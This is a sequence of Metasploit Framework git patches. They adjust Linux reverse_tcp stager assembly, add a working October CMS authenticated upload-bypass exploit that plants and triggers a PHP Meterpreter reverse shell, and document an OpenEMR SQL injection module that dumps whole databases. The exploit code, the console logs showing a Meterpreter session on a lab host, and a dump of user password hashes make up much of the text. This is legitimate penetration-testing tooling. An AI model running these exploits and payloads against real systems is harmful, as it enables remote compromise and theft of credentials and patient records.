"ref_name": "linux/local/ktsuss_suid_priv_esc", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": true + }, "exploit_linux/local/lastore_daemon_dbus_priv_esc": { "name": "lastore-daemon D-Bus Privilege Escalation", "fullname": "exploit/linux/local/lastore_daemon_dbus_priv_esc", From 05944ba8c1b9494ba41a960b125c12559c9a0366 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Mon, 2 Sep 2019 22:27:43 -0400 Subject: [PATCH 106/217] Linux x64 reverse_tcp should read known # of bytes The linux x64 reverse tcp stager is hardcoded to read 4K off the socket. When a small intermediate stager is used, this can result in reading part of the next stage as well, which means that the intermediate stager will never recv the # of bytes it needs and hang indefinitely. Break out the mettle piece to use separate methods for assembly and binary payload generation as well as actually putting the product on the existing session socket. Change the first part of the stage to check for the intermediate stager generation method, and use the size of the produced stager in the recvfrom call or fall back to the prior 4K read size. Testing: None yet Ping @bcook-r7, @acammack-r7, @OJ, @ZeroSteiner --- lib/msf/core/payload/linux/x64/reverse_tcp.rb | 10 ++++++++-- modules/payloads/stages/linux/x64/meterpreter.rb | 12 +++++++++--- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/linux/x64/reverse_tcp.rb b/lib/msf/core/payload/linux/x64/reverse_tcp.rb index b678107067..d99a9d55ac 100644 --- a/lib/msf/core/payload/linux/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/x64/reverse_tcp.rb @@ -88,7 +88,12 @@ module Payload::Linux::ReverseTcp_x64 seconds = (opts[:sleep_seconds] || 5.0) sleep_seconds = seconds.to_i sleep_nanoseconds = (seconds % 1 * 1000000000).to_i - + if respond_to?(:generate_intermediate_stage) + pay_mod = framework.payloads.create(self.refname) + read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size + else + read_length = 4096 + end asm = %Q^ mmap: xor rdi, rdi @@ -161,8 +166,9 @@ module Payload::Linux::ReverseTcp_x64 recv: pop rsi + push 0x#{read_length.to_s(16)} pop rdx - syscall ; read(3, "", 4096) + syscall ; read(3, "", #{read_length}) test rax, rax js failed diff --git a/modules/payloads/stages/linux/x64/meterpreter.rb b/modules/payloads/stages/linux/x64/meterpreter.rb index 00c2650427..a6c15246be 100644 --- a/modules/payloads/stages/linux/x64/meterpreter.rb +++ b/modules/payloads/stages/linux/x64/meterpreter.rb @@ -34,10 +34,10 @@ module MetasploitModule elf.elf_header.e_entry end - def handle_intermediate_stage(conn, payload) + def asm_intermediate_stage(payload) entry_offset = elf_ep(payload) - midstager_asm = %( + %( push rdi ; save sockfd xor rdi, rdi ; address mov rsi, #{payload.length} ; length @@ -82,8 +82,14 @@ module MetasploitModule add rsi, rax jmp rsi ) + end - midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string + def generate_intermediate_stage(payload) + Metasm::Shellcode.assemble(Metasm::X64.new, asm_intermediate_stage(payload)).encode_string + end + + def handle_intermediate_stage(conn, payload) + midstager = generate_intermediate_stage(payload) vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)") conn.put(midstager) == midstager.length end From 97943261ed53584f982cb37cff62665e7d22a9dd Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Tue, 3 Sep 2019 01:55:12 -0400 Subject: [PATCH 107/217] Linux x86 reverse_tcp should read known # of bytes See notes for x64. This part does not appear to be working properly yet - stages generated with this commit recv 102b on the first call to read(), but subsequently things seem to go off the rails after the intermediate stage is loaded. Needs testing and fixup at present for x86 (no worse than before in terms of success rate however). --- lib/msf/core/payload/linux/reverse_tcp.rb | 8 ++++++++ modules/payloads/stages/linux/x86/meterpreter.rb | 12 +++++++++--- 2 files changed, 17 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index e2ee9815d5..64a3c57732 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -89,6 +89,13 @@ module Payload::Linux::ReverseTcp_x86 sleep_seconds = seconds.to_i sleep_nanoseconds = (seconds % 1 * 1000000000).to_i + if respond_to?(:generate_intermediate_stage) + pay_mod = framework.payloads.create(self.refname) + read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size + else + read_length = 4096 + end + asm = %Q^ push #{retry_count} ; retry counter pop esi @@ -156,6 +163,7 @@ module Payload::Linux::ReverseTcp_x86 mov ecx, esp cdq mov dh, 0xc + push 0x#{read_length.to_s(16)} mov al, 0x3 int 0x80 ; sys_read (recv()) test eax, eax diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index 042d6c8525..f23cd075bf 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -34,10 +34,10 @@ module MetasploitModule elf.elf_header.e_entry end - def handle_intermediate_stage(conn, payload) + def asm_intermediate_stage(payload) entry_offset = elf_ep(payload) - midstager_asm = %( + %( push edi ; save sockfd xor ebx, ebx ; address mov ecx, #{payload.length} ; length @@ -85,8 +85,14 @@ module MetasploitModule add edx, eax jmp edx ) + end - midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string + def generate_intermediate_stage(payload) + Metasm::Shellcode.assemble(Metasm::X86.new, asm_intermediate_stage(payload)).encode_string + end + + def handle_intermediate_stage(conn, payload) + midstager = generate_intermediate_stage(payload) vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)") conn.put(midstager) == midstager.length end From 615661a03d4ce561bf9ac47086c7ddd3456c33a9 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Tue, 3 Sep 2019 12:04:38 +0530 Subject: [PATCH 108/217] first build first build of october_upload_bypass_exec --- .../multi/http/october_upload_bypass_exec.rb | 159 ++++++++++++++++++ 1 file changed, 159 insertions(+) create mode 100644 modules/exploits/multi/http/october_upload_bypass_exec.rb diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb new file mode 100644 index 0000000000..7a43920673 --- /dev/null +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -0,0 +1,159 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'October CMS Upload Protection Bypass Code Execution', + 'Description' => %q{ + This module exploits an Authenticated user with permission to upload and manage media contents can + upload various files on the server. Application prevents the user from + uploading PHP code by checking the file extension. It uses black-list based + approach, as seen in octobercms/vendor/october/rain/src/Filesystem/ + Definitions.php:blockedExtensions(). + This module was tested against October Machine on HachTheBox. + }, + 'Author' => + [ + 'Anti Räis', #Discovery + 'Touhid M.Shaikh ', # Metasploit Module + 'SecureLayer7.net' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['EDB','41936'] + ], + 'DefaultOptions' => + { + 'SSL' => false, + 'PAYLOAD' => 'php/meterpreter/reverse_tcp', + 'ENCODER' => 'php/base64', + }, + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'October CMS v1.0.412', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 25 2017')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base October CMS directory path", '/']), + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin']) + ]) + end + + def uri + return target_uri.path + end + + def check + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, '/modules/system/assets/js/framework.js') + }) + rescue + vprint_error('Unable to access the /assets/js/framework.js file') + return CheckCode::Unknown + end + + if res.code == 200 + return Exploit::CheckCode::Appears + end + + return CheckCode::Safe + end + + def login + res = send_request_cgi({ + 'uri' => normalize_uri(uri, '/backend/backend/auth/signin'), + 'method' => 'GET', + }) + + # Grabbing Session Key and token from body + /name="_session_key" type="hidden" value="(?[A-Za-z0-9"]+)">/ =~ res.body + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine Session Key") if session.nil? + + /name="_token" type="hidden" value="(?[A-Za-z0-9"]+)">/ =~ res.body + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine token") if token.nil? + vprint_good("Token for login : #{token}") + vprint_good("Session Key for login : #{session}") + + cookies = res.get_cookies + vprint_status('Trying to Login ......') + + # Send Creds with cookies. + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, '/backend/backend/auth/signin'), + 'cookie' => cookies, + 'vars_post' => Hash[{ + '_session_key' => session, + '_token' => token, + 'postback' => '1', + 'login' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }.to_a.shuffle], + }) + + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? + + # if we redirect to core_welcome dan we assume we have authenticated cookie. + if res.code == 302 + print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") + store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) + return cookies + else + fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") + end + end + + + def exploit + + cookies = login + + #Payload + evil = "" + payload_name = "#{rand_text_alpha(8 + rand(5))}.php5" + + # setup POST request. + post_data = Rex::MIME::Message.new + post_data.add_part("/", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="path"') + post_data.add_part(evil, content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file_data\"; filename=\"#{payload_name}") #payload + data = post_data.to_s + + vprint_status("Trying to upload malicious #{payload_name} file ....") + # Lets Send Upload request. + res = send_request_cgi({ + 'uri' => normalize_uri(uri, '/backend/cms/media'), + 'agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', + 'method' => 'POST', + 'cookie' => cookies, + 'headers' => { + 'X-OCTOBER-FILEUPLOAD' => 'MediaManager-manager' + }, + 'Connection' => 'close', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + }) + + # Executing Payload Now + res = send_request_cgi({ + 'uri' => normalize_uri(uri, "/storage/app/media/#{payload_name}"), + 'method' => 'GET', + }) + end +end From c9b0054629237db52eee8c7094c2599912147415 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Tue, 3 Sep 2019 12:26:41 +0530 Subject: [PATCH 109/217] october_upload_bypass_exec Doc october_upload_bypass_exec Documetation --- .../multi/http/october_upload_bypass_exec.md | 45 +++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/october_upload_bypass_exec.md diff --git a/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md new file mode 100644 index 0000000000..03a71e5de0 --- /dev/null +++ b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md @@ -0,0 +1,45 @@ + +## Description +An authenticated user with permission to upload and manage media contents can +upload various files on the server. The application prevents the user from +uploading PHP code by checking the file extension. It uses black-list based +approach, as seen in octobercms/vendor/october/rain/src/Filesystem/ +Definitions.php:blockedExtensions(). + +## Vulnerable Sorftware +https://www.exploit-db.com/apps/4ff8a9688f31b7338020d0bc85da13fc-october-1.0.412.tar.gz + +## Author +Anti Räis (Discovery) +Touhid M.Shaikh (Metasploit Module) + +## References +https://www.exploit-db.com/exploits/41936 + +## Tested on +HackTheBox October Machine (IP: 10.10.10.16) + +## Verification +msf5 > use exploit/multi/http/october_upload_bypass_exec +msf5 exploit(multi/http/october_upload_bypass_exec) > set rhosts 10.10.10.16 +rhosts => 10.10.10.16 +msf5 exploit(multi/http/october_upload_bypass_exec) > setg verbose true +verbose => true +msf5 exploit(multi/http/october_upload_bypass_exec) > set lhost 10.10.14.8 +lhost => 10.10.14.8 +msf5 exploit(multi/http/october_upload_bypass_exec) > run + +[*] Started reverse TCP handler on 10.10.14.8:4444 +[+] Token for login : 3ySsc8d8VNMm2V8x3Ns4cay05bwhRxnoIkQjRnBP +[+] Session Key for login : uVNSZ2YRUm39cf8kqJcWV0qr9xhqq9krCYHeVI6m +[*] Trying to Login ...... +[+] Authentication successful: admin:admin +[*] Trying to upload malicious WLMVDKmVpCX.php5 file .... +[*] Sending stage (38247 bytes) to 10.10.10.16 +[*] Meterpreter session 1 opened (10.10.14.8:4444 -> 10.10.10.16:54124) at 2019-09-03 12:19:20 +0530 + +meterpreter > sysinfo +Computer : october +OS : Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 +Meterpreter : php/linux +meterpreter > From 72672c82f9c6cb2d27a3921aa61cab74bb2fa683 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Tue, 3 Sep 2019 15:17:28 +0200 Subject: [PATCH 110/217] Fix syntax --- lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb index ac9d132eb4..8fd356cc10 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb @@ -82,7 +82,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO request = Packet.create_request( 'stdapi_fs_search' ) root = client.unicode_filter_decode(root) if root - root = root.chomp( ::File.separator ) if root + root = root.chomp( self.separator ) if root request.add_tlv( TLV_TYPE_SEARCH_ROOT, root ) request.add_tlv( TLV_TYPE_SEARCH_GLOB, glob ) @@ -94,7 +94,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO if( response.result == 0 ) response.each( TLV_TYPE_SEARCH_RESULTS ) do | results | files << { - 'path' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_PATH).chomp( ::File.separator )), + 'path' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_PATH).chomp( self.separator )), 'name' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_NAME)), 'size' => results.get_tlv_value(TLV_TYPE_FILE_SIZE) } From bcd181c87d0b064990cb202d472e5121ac186500 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Tue, 3 Sep 2019 09:14:34 -0500 Subject: [PATCH 111/217] require bind tcp --- modules/payloads/singles/linux/x64/pingback_bind_tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb b/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb index 0db0757fc7..c6fef6de92 100644 --- a/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb +++ b/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb @@ -4,7 +4,7 @@ ## require 'msf/core/payload/pingback' -require 'msf/core/handler/reverse_tcp' +require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/pingback' From 6934af0b7d830e7bdb306f2b43b4620e00fd7c61 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Tue, 3 Sep 2019 23:15:33 +0530 Subject: [PATCH 112/217] Update modules/exploits/multi/http/october_upload_bypass_exec.rb Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com> --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index 7a43920673..c6b8d31dce 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -152,7 +152,7 @@ class MetasploitModule < Msf::Exploit::Remote # Executing Payload Now res = send_request_cgi({ - 'uri' => normalize_uri(uri, "/storage/app/media/#{payload_name}"), + 'uri' => normalize_uri(uri, 'storage', 'app', 'media', payload_name), 'method' => 'GET', }) end From aee17608cdf7989297475a344cb6da4fb62a66c4 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Tue, 3 Sep 2019 23:17:50 +0530 Subject: [PATCH 113/217] Update modules/exploits/multi/http/october_upload_bypass_exec.rb Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com> --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index c6b8d31dce..45cbf917b1 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -97,7 +97,7 @@ class MetasploitModule < Msf::Exploit::Remote # Send Creds with cookies. res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(uri, '/backend/backend/auth/signin'), + 'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'), 'cookie' => cookies, 'vars_post' => Hash[{ '_session_key' => session, From 6c6603bbd7942ce6d53c4f29b6df3e3a8febd93e Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Tue, 3 Sep 2019 23:18:31 +0530 Subject: [PATCH 114/217] Update modules/exploits/multi/http/october_upload_bypass_exec.rb Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com> --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index 45cbf917b1..d387774ec4 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -69,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Unknown end - if res.code == 200 + if res && res.code == 200 return Exploit::CheckCode::Appears end From 80522a571232c2bd870c8ba1988dd62fbba087a1 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Tue, 3 Sep 2019 15:01:52 -0400 Subject: [PATCH 115/217] Clean up linux/x64/rev_tcp asm per acammack Address Adam's comments on the PR - remove redundantly pushed size from mmap section. --- lib/msf/core/payload/linux/x64/reverse_tcp.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/payload/linux/x64/reverse_tcp.rb b/lib/msf/core/payload/linux/x64/reverse_tcp.rb index d99a9d55ac..9706f7827c 100644 --- a/lib/msf/core/payload/linux/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/x64/reverse_tcp.rb @@ -112,7 +112,6 @@ module Payload::Linux::ReverseTcp_x64 push #{retry_count} ; retry counter pop r9 - push rsi push rax push 0x29 pop rax From b1f58b460601e0d769ac60286f3ae3ae610308f0 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 3 Sep 2019 14:26:02 -0500 Subject: [PATCH 116/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 3a0c995e23..b3ae9e11c8 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -145459,7 +145459,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2019-07-29 11:55:51 +0000", + "mod_time": "2019-09-03 09:14:34 +0000", "path": "/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/pingback_bind_tcp", From 06a72670171face033a66698ee07e91a53a422f9 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Tue, 3 Sep 2019 18:13:01 -0500 Subject: [PATCH 117/217] Bump payload version --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 70f7d0c36e..ff363b3317 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -24,7 +24,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.3.70) + metasploit-payloads (= 1.3.77) metasploit_data_models (= 3.0.10) metasploit_payloads-mettle (= 0.5.16) mqtt @@ -203,7 +203,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.3.70) + metasploit-payloads (1.3.77) metasploit_data_models (3.0.10) activerecord (~> 4.2.6) activesupport (~> 4.2.6) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 86853958cd..ef2affa744 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -70,7 +70,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.3.70' + spec.add_runtime_dependency 'metasploit-payloads', '1.3.77' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.5.16' # Needed by msfgui and other rpc components From 49c7fe89063098fa53d4660c3ede7c722cc6eda9 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Tue, 3 Sep 2019 18:25:26 -0500 Subject: [PATCH 118/217] Update payload cache size --- modules/payloads/singles/php/meterpreter_reverse_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb | 2 +- modules/payloads/singles/windows/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_https.rb | 2 +- .../payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_tcp.rb | 2 +- 7 files changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 0b57d9badf..ab559f45a3 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options' module MetasploitModule - CachedSize = 30658 + CachedSize = 30691 include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp diff --git a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb index ac1ee72181..55b54a7bed 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb @@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config' module MetasploitModule - CachedSize = 179779 + CachedSize = 180291 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 79e23e6a0c..8c920e4979 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config' module MetasploitModule - CachedSize = 179779 + CachedSize = 180291 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 2bcca8d51c..6551c84907 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config' module MetasploitModule - CachedSize = 180825 + CachedSize = 181337 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 2f470a05b9..f39559266f 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config' module MetasploitModule - CachedSize = 180825 + CachedSize = 181337 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index dce4c880d4..08f05d9378 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config' module MetasploitModule - CachedSize = 179779 + CachedSize = 180291 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index bacdd2591d..2d4b9d6f52 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config' module MetasploitModule - CachedSize = 179779 + CachedSize = 180291 include Msf::Payload::TransportConfig include Msf::Payload::Windows From 80aee24d6546a068a2ff9115a6549f6903530d5f Mon Sep 17 00:00:00 2001 From: William Porter Date: Wed, 4 Sep 2019 01:18:54 -0400 Subject: [PATCH 119/217] Add an auxiliary module to exploit OpenEMR CVE CVE-2018-17179. Dump all tables in the OpenEMR database and save the data in .csv format in the loot directory. --- .../sqli/openemr/openemr_sqli_dump.md | 86 +++++++ .../sqli/openemr/openemr_sqli_dump.rb | 235 ++++++++++++++++++ 2 files changed, 321 insertions(+) create mode 100644 documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md create mode 100644 modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb diff --git a/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md b/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md new file mode 100644 index 0000000000..384987bf8b --- /dev/null +++ b/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md @@ -0,0 +1,86 @@ +## Intro + +This module exploits a SQLi vulnerability found in +OpenEMR version 5.0.1 Patch 6 and lower. The +vulnerability allows the contents of the entire +database (with exception of log and task tables) to be +extracted. + +This module saves each table as a \'.csv\' file in your +loot directory and has been tested with +OpenEMR 5.0.1 (3). + + +## Author + +Will Porter (will.porter@lodestonesecurity.com) from Lodestone Security + + +## References + +https://www.cvedetails.com/cve/CVE-2018-17179/ +https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617 + + +## Options + +``` +msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > show options + +Module options (auxiliary/sqli/openemr/openemr_sqli_dump): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target address range or CIDR identifier + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /openemr yes The base path to the OpenEMR installation + VHOST no HTTP server virtual host +``` + +## Usage + +This module has both `check` and `run` functions. + +``` +msf5 > use auxiliary/sqli/openemr/openemr_sqli_dump +msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > check + +[*] Trying to detect installed version +[*] 127.0.0.1:80 - The target appears to be vulnerable. +msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run +[*] Running module against 127.0.0.1 + +[*] DB Version: 10.3.15-MariaDB-1 +[*] Enumerating Tables, this may take a moment... +[*] Identified 310 tables. +[*] Created dump directory: /root/.msf4/loot/openemr-a323pl20 +[*] Dumping table (1/310): ALL_PLUGINS +[*] Dumping table (2/310): APPLICABLE_ROLES +[*] Dumping table (3/310): CHARACTER_SETS +[*] Dumping table (4/310): CHECK_CONSTRAINTS +[*] Dumping table (5/310): COLLATIONS + +... + +[*] Dumping table (305/310): medex_recalls +[*] Dumping table (306/310): syndromic_surveillance +[*] Dumping table (307/310): lang_constants +[*] Dumping table (308/310): gacl_acl_seq +[*] Dumping table (309/310): background_services +[*] Dumping table (310/310): geo_country_reference +[*] Dumped all tables to /root/.msf4/loot/openemr-a323pl20 +[*] Auxiliary module execution completed +msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > exit + +root@localhost:/tmp# cd /root/.msf4/loot/openemr-a323pl20 +root@localhost:~/.msf4/loot/openemr-a323pl20# cat users_secure.csv +id,username,password,salt,last_update,password_history1,salt_history1,password_history2,salt_history2 +1,admin,$2a$05$bxcQWy1ZeIwV2/ScGBQlTOeUVqJo9MdvHuF1mBs4Jo7H0/bFpZoPK,$2a$05$bxcQWy1ZeIwV2/ScGBQlTZ$,2019-08-27 20:07:13,"","","","" +4,johndoemsf,$2a$05$gUWCtnsoqPBbn5zKiasyaOphgJwkA9BySy7LnK3BswyWt0RrLb0Ma,$2a$05$gUWCtnsoqPBbn5zKiasyaQ$,2019-08-29 02:01:28,"","","","" +6,johnderp,$2a$05$nAHQ7japfATDqqgArPImlu5svMG79W1nj1SNBpE7xkEhS42.AvlWq,$2a$05$nAHQ7japfATDqqgArPImlv$,2019-08-29 